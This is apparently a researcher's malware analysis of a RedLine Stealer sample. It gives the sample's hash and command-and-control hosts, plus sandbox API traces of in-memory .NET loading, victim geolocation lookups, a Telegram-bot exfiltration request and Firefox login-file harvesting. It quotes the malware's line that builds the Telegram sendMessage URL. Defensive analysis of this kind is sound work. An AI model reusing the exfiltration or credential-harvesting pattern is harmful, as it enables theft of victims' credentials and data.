RedLine Stealer

Context

SHA256 : 420f888c8bc5a5e5c71b6c157e7a8ed83527bb4893605f7c827cccd89f286cbc
source : bazaar.abuse.ch
VT : VirusTotal

Network :
http://checkip.dyndns.org/
https://reallyfreegeoip.org/xml/

C2:
api.telegram.org
http://varders.kozow.com:8081
http://aborters.duckdns.org:8081
http://anotherarmy.dns.army:8081

Report:
https://www.infosecinstitute.com/resources/malware-analysis/redline-stealer-malware-full-analysis/

Analysed redline stealer sample is a 32bit .NET DLL packaged within a 32bit executable.

As usual, results from dynamic analysis are shared in my repository (logs)

Targeted softwares for credentials harvesting are shared in target.txt.


Commentary

Runtime is divided in two main phases, the Win32 loader and the .NET payload.
I haven’t given too much thoughts regarding runtime analysis of .NET programs so far, but as it turns out it is still possible to collect many relevant information by indirectly looking at .NET behavior through Native Image DLL.


In memory loading of the .NET DLL payload

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <CLRCreateInstance> in [mscoree.dll] 
[PAR] REFCLSID  clsid       : 0x41b230 ({9280188D-0E8E-4867-B30C-7FA83884E8DE})
[PAR] REFIID    riid         : 0x41b220 (ICLRMetaHost)
[PAR] LPVOID    *ppInterface : 0x269f6d0
[RET] 0x4021be

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <ICLRMetaHost::GetRuntime> in [mscoreei.dll] 
[PAR] LPCWSTR pwzVersion : 0x269f7c8 ("v4.0.30319")
[PAR] REFIID  riid       : 0x41b240 (ICLRRuntimeInfo)
[PAR] LPVOID  *ppRuntime : 0x269f6d4
[RET] 0x402215

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <ICLRRuntimeInfo::GetInterface> in [mscoreei.dll] 
[PAR] REFCLSID  clsid    : 0x41b210 ({74E03258-9E84-74E0-E013-960201000000})
[PAR] REFIID    riid     : 0x41b290 (ICorRuntimeHost)
[PAR] LPVOID     *ppUnk  : 0x269f69c
[RET] 0x40223b

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <ICorRuntimeHost::Start> in [clr.dll] 
[RET] 0x40224f

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <ICorRuntimeHost::GetDefaultDomain> in [clr.dll] 
[PAR] IUnknown **pAppDomain : 0x269f6a8
[RET] 0x4022b1

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <IUnknown::QueryInterface> in [clr.dll] 
[PAR] REFIID    riid         : 0x41b270 (_AppDomain)
[PAR] LPVOID    *ppv         : 0x269f6a4
[RET] 0x4022d9

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <SafeArrayCreate> in [OLEAUT32.dll] 
[PAR] VARTYPE         vt         : 0x11
[PAR] UINT            cDims      : 0x1
[PAR] SAFEARRAYBOUND  *rgsabound : 0x269f6d8
[FLD]                 rgsabound[0]
[FLD]                 -> cElements = 0x48000
[FLD]                 -> lLbound   = 0x0
[RET] 0x4022fc

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <SafeArrayAccessData> in [OLEAUT32.dll] 
[PAR] SAFEARRAY *psa       : 0x2967a58
[FLD]            -> cDims      = 0x1
[FLD]            -> fFeatures  = 0x80
[FLD]            -> cbElements = 0x1
[FLD]            -> cLocks     = 0x0
[FLD]            -> pvData     = 0x2991d90
[FLD]            -> cElements  = 0x48000
[FLD]            -> lLbound    = 0x0
[PAR] void      ** ppvData : 0x269f698
[RET] 0x40230e

DumpFile created : \DosDevices\C:\rtl_dump\MemDotNetD 

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <SafeArrayUnaccessData> in [OLEAUT32.dll] 
[PAR] SAFEARRAY *psa : 0x2967a58
[FLD]            -> cDims      = 0x1
[FLD]            -> fFeatures  = 0x80
[FLD]            -> cbElements = 0x1
[FLD]            -> cLocks     = 0x1
[FLD]            -> pvData     = 0x2991d90
[FLD]            -> cElements  = 0x48000
[FLD]            -> lLbound    = 0x0
[RET] 0x402324

This in-memory loading of managed code is well described here :

https://0xpat.github.io/Malware_development_part_9/

The loaded .NET DLL is dumped automatically by my sandbox and is now available here :

VirusTotal
bazaar.abuse.ch


Network fingerprinting

Once the managed code is effectivly loaded in memory, one of its first steps is to ‘localize’ the victim through the following requests :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <send> in [WS2_32.dll] 
[PAR] SOCKET s    : 0x40c
[PAR] char   *buf : 0x4540064
[STR]        -> "GET / HTTP/1.1"
[STR]           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)"
[STR]           "Host: checkip.dyndns.org"
[STR]           "Connection: Keep-Alive"
[STR]           ""
[PAR] int    len  : 0x97
[RET] 0x72d60c27

which will reply with something like :

<html><head><title>Current IP Check</title></head><body>Current IP Address: 23.154.177.2</body></html>

And parsed by the malware to extract the IP address :

return (object) end.Replace("<html><head><title>Current IP Check</title></head><body>", "").Replace("</body></html>", "").Replace("Current IP Address: ", "").ToString();

Then another free service is requested to localize the victim from its external IP :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <GetAddrInfoW> in [WS2_32.dll] 
[PAR] PCWSTR     pNodeName    : 0x454b8ec
[STR]            -> "reallyfreegeoip.org"
[PAR] PCWSTR     pServiceName : 0x0 (null)
[PAR] ADDRINFOW  *pHints      : 0x269d690
[FLD] PADDRINFOW    pAddrInfo : 0x269d690
[FLD]               -> ai_flags     = 0x2 (AI_CANONNAME)
[FLD]               -> ai_family    = 0x0 (AF_UNSPEC)
[FLD]               -> ai_socktype  = 0x0 (UNKNOWN_FLAG)
[FLD]               -> ai_protocol  = 0x0 (NOT_SPECIFIED)
[FLD]               -> ai_addrlen   = 0x0
[FLD]               -> ai_canonname = 0x0 (null)
[FLD]               -> *ai_addr     = 0x0
[FLD]               -> *ai_next     = 0x0
[PAR] PADDRINFOW *ppResult    : 0x269d638
[RET] 0x72d6279e

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <WSAConnect> in [WS2_32.dll] 
[PAR] SOCKET   s     : 0x448
[PAR] sockaddr *name : 0x454dd28
[FLD]          -> sin_family   : 2 (IPv4)
[FLD]          -> sin_port     : 47873 (Little endian : 443)
[FLD]          -> sin_addr     : 169.254.143.43
[RET] 0x72d60bb5

The request is encrypted through HTTPS, it is nonetheless possible to get the clear content by looking at the right place :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <SealMessage> in [SspiCli.dll] 
[PAR] LSA_SEC_HANDLE ContextHandle         : 0x454fa40
[PAR] ULONG          QualityOfProtection   : 0x0
[PAR] PSecBufferDesc MessageBuffers        : 0x4556cb0
[FLD]                -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD]                -> cBuffers  = 0x4
[FLD]                -> pBuffers  = 0x4556cc8
[FLD]                   -> pBuffers[0]
[FLD]                   -> cbBuffer   = 0x5
[FLD]                   -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD]                   -> pvBuffer   = 0x4556b10
[FLD]                   -> pBuffers[1]
[FLD]                   -> cbBuffer   = 0x57
[FLD]                   -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD]                   -> pvBuffer   = 0x4556b15
[STR]                   -> "GET /xml/199.195.250.42 HTTP/1.1\r\nHost: reallyfreegeoip.org\r\nConnection: Keep-Alive\r\n\r\n"
[FLD]                   -> pBuffers[2]
[FLD]                   -> cbBuffer   = 0x24
[FLD]                   -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD]                   -> pvBuffer   = 0x4556b6c
[FLD]                   -> pBuffers[3]
[FLD]                   -> cbBuffer   = 0x0
[FLD]                   -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD]                   -> pvBuffer   = 0x0
[PAR] ULONG          MessageSequenceNumber : 0x0
[RET] 0x72d63857

as well as getting the clear text from the answer :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[API] <DecryptMessage>
[PAR] PSecBufferDesc pMessage     : 0x0
[FLD]                -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD]                -> cBuffers  = 0x4
[FLD]                -> pBuffers  = 0x455737c
[FLD]                   -> pBuffers[0]
[FLD]                   -> cbBuffer   = 0x5
[FLD]                   -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD]                   -> pvBuffer   = 0x4556e34
[FLD]                   -> pBuffers[1]
[FLD]                   -> cbBuffer   = 0x473
[FLD]                   -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD]                   -> pvBuffer   = 0x0000000004556E39
[STR]                   -> "HTTP/1.1 200 OK\r\nDate: Thu, 13 Feb 2025 00:18:55 GMT\r\nServer: Apache\r\ncache-control: max-age=31536"
[STR]                      "000\r\ncf-cache-status: HIT\r\nage: 235\r\nlast-modified: Wed, 12 Feb 2025 19:45:47 GMT\r\nreport-to: {"endpoints":[{"ur"
[STR]                      "l":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VBpNaBGrtxpdt4dpqT3IJDtGp%2BxqmYFp10jCgKuiFX3dEfsjXpB29sCbvDv4Bw7msGnT8"
[STR]                      "lxh6J7IIHDyX4lSsaO45mtee7KvKdU4CqyHQNDW7aWENyGlC1ol2VsW1oZTbVMfWeNbnq%2BJWSpQmG8iE7R7"}],"group":"cf-nel","max_age":6048"
[STR]                      "00}\r\nnel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}\r\ncf-ray: 910f1a7e4d40971e-AMS\r\nalt-svc: h2="
[STR]                      ""cflareub6dtu7nvs3kqmoigcjdwap2azrkx5zohb2yk7gqjkwoyotwqd.onion:443"; ma=86400; persist=1\r\nVary: Accept-Encoding\r\nCo"
[STR]                      "ntent-Length: 328\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/xml;charset=UTF-8\r\"
[STR]                      "n\r\n<Response><IP>199.195.250.42</IP><CountryCode>FR</CountryCode><CountryName>France</CountryName><RegionCode>IDF</Reg"
[STR]                      "ionCode><RegionName>Ile-de-France</RegionName><City>Paris</City><ZipCode>75001</ZipCode><TimeZone>Europe/Paris</TimeZone"
[STR]                      "><Latitude>48.8323</Latitude><Longitude>2.4075</Longitude><MetroCode>0</MetroCode></Response>"
[FLD]                   -> pBuffers[2]
[FLD]                   -> cbBuffer   = 0x1d
[FLD]                   -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD]                   -> pvBuffer   = 0x45572ac
[FLD]                   -> pBuffers[3]
[FLD]                   -> cbBuffer   = 0x0
[FLD]                   -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD]                   -> pvBuffer   = 0x0
[RES] SECURITY_STATUS 0x0 (SEC_E_OK)

Various information are then extracted by the malware from the XML :

XmlNodeList elementsByTagName = Instance.GetElementsByTagName("CountryName");
XmlNodeList elementsByTagName = Instance.GetElementsByTagName("RegionCode");
XmlNodeList elementsByTagName = Instance.GetElementsByTagName("RegionName");

Finaly the payload is attempting to establish a HTTPS communication with a telegram bot :

 string requestUriString = "https://api.telegram.org/bot" + _param0 + "/sendMessage?chat_id=" + _param1 + "&text=" + _param2;

Unfortunatly something might be missing in my analysis environnment because the Bot TOKEN as well as the chat ID are missing from the captured request :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <SealMessage> in [SspiCli.dll] 
[PAR] LSA_SEC_HANDLE ContextHandle         : 0x45b383c
[PAR] ULONG          QualityOfProtection   : 0x0
[PAR] PSecBufferDesc MessageBuffers        : 0x45b5ad4
[FLD]                -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD]                -> cBuffers  = 0x4
[FLD]                -> pBuffers  = 0x45b5aec
[FLD]                   -> pBuffers[0]
[FLD]                   -> cbBuffer   = 0x15
[FLD]                   -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD]                   -> pvBuffer   = 0x45b5894
[FLD]                   -> pBuffers[1]
[FLD]                   -> cbBuffer   = 0x150
[FLD]                   -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD]                   -> pvBuffer   = 0x00000000045B58A9
[STR]                   -> "GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:HOME%0D%0ADate%20and%20Time:%2013/02/2025%20/%2001:18:58%0D%"
[STR]                      "0ACountry%20Name:%20France%0D%0A%5B%20HOME%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%"
[STR]                      "20system%20storage's%20empty.%20%5D HTTP/1.1\r\nHost: api.telegram.org\r\nConnection: Keep-Alive\r\n\r\n"
[FLD]                   -> pBuffers[2]
[FLD]                   -> cbBuffer   = 0x40
[FLD]                   -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD]                   -> pvBuffer   = 0x45b59f9
[FLD]                   -> pBuffers[3]
[FLD]                   -> cbBuffer   = 0x0
[FLD]                   -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD]                   -> pvBuffer   = 0x0
[PAR] ULONG          MessageSequenceNumber : 0x0
[RET] 0x72d63857

Credential harvesting

Even without beeing able to establish a connection with the telegram bot, the malware nonetheless proceeds with its credential harvesting procedure :

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <FindFirstFileW> in [KERNEL32.DLL] 
[PAR] LPCWSTR lpFileName : 0x4672760
[STR]         -> "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\*"
[RET] 0x7398b488

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <GetFullPathNameW> in [KERNEL32.DLL] 
[PAR] LPCWSTR lpFileName    : 0x269e6a0
[STR]         -> "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\1t6va5x4.default"
[PAR] DWORD   nBufferLength : 0x105
[PAR] LPWSTR  lpBuffer      : 0x269e474
[PAR] LPWSTR* lpFilePart    : 0x0
[RET] 0x7398da93

[ * ] [pid 0x66c][tid 0x76c] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <GetFullPathNameW> in [KERNEL32.DLL] 
[PAR] LPCWSTR lpFileName    : 0x269e65c
[STR]         -> "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\1t6va5x4.default\logins.json"
[PAR] DWORD   nBufferLength : 0x105
[PAR] LPWSTR  lpBuffer      : 0x269e430
[PAR] LPWSTR* lpFilePart    : 0x0
[RET] 0x7398da93

The full list of targeted application is provided in target.txt.


Countermesures

If the malware is unable to retrieve it’s external IP address the following crash is triggered :

[ * ] [pid 0xbec][tid 0x5e8] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <CreateAssemblyNameObject> in [clr.dll] 
[PAR] LPASSEMBLYNAME *ppAssemblyNameObj : 0x25ae010
[PAR] LPCWSTR        szAssemblyName     : 0x46d3c18
[STR]                -> "System.resources, Version=4.0.0.0, Culture=fr-FR, PublicKeyToken=b77a5c561934e089"
[PAR] DWORD          dwFlags            : 0x1
[PAR] LPVOID         pvReserved         : 0x0
[RET] 0x73314cbe

[ * ] [pid 0xbec][tid 0x5e8] c:\windows\syswow64\svchost.exe
[ i ] [ Called from Native Image DLL ]
[API] <CreateAssemblyNameObject> in [clr.dll] 
[PAR] LPASSEMBLYNAME *ppAssemblyNameObj : 0x25add28
[PAR] LPCWSTR        szAssemblyName     : 0x46d82f4
[STR]                -> "mscorlib.resources, Version=4.0.0.0, Culture=fr-FR, PublicKeyToken=b77a5c561934e089"
[PAR] DWORD          dwFlags            : 0x1
[PAR] LPVOID         pvReserved         : 0x0
[RET] 0x73314cbe

Crash

The same behavior is observed if a debugger is detected :

[ * ] [pid 0xa08][tid 0x884] c:\users\user\desktop\redline_stealer\redline.exe
[API] <IsDebuggerPresent> in [KERNEL32.DLL] 
[RET] 0x143b92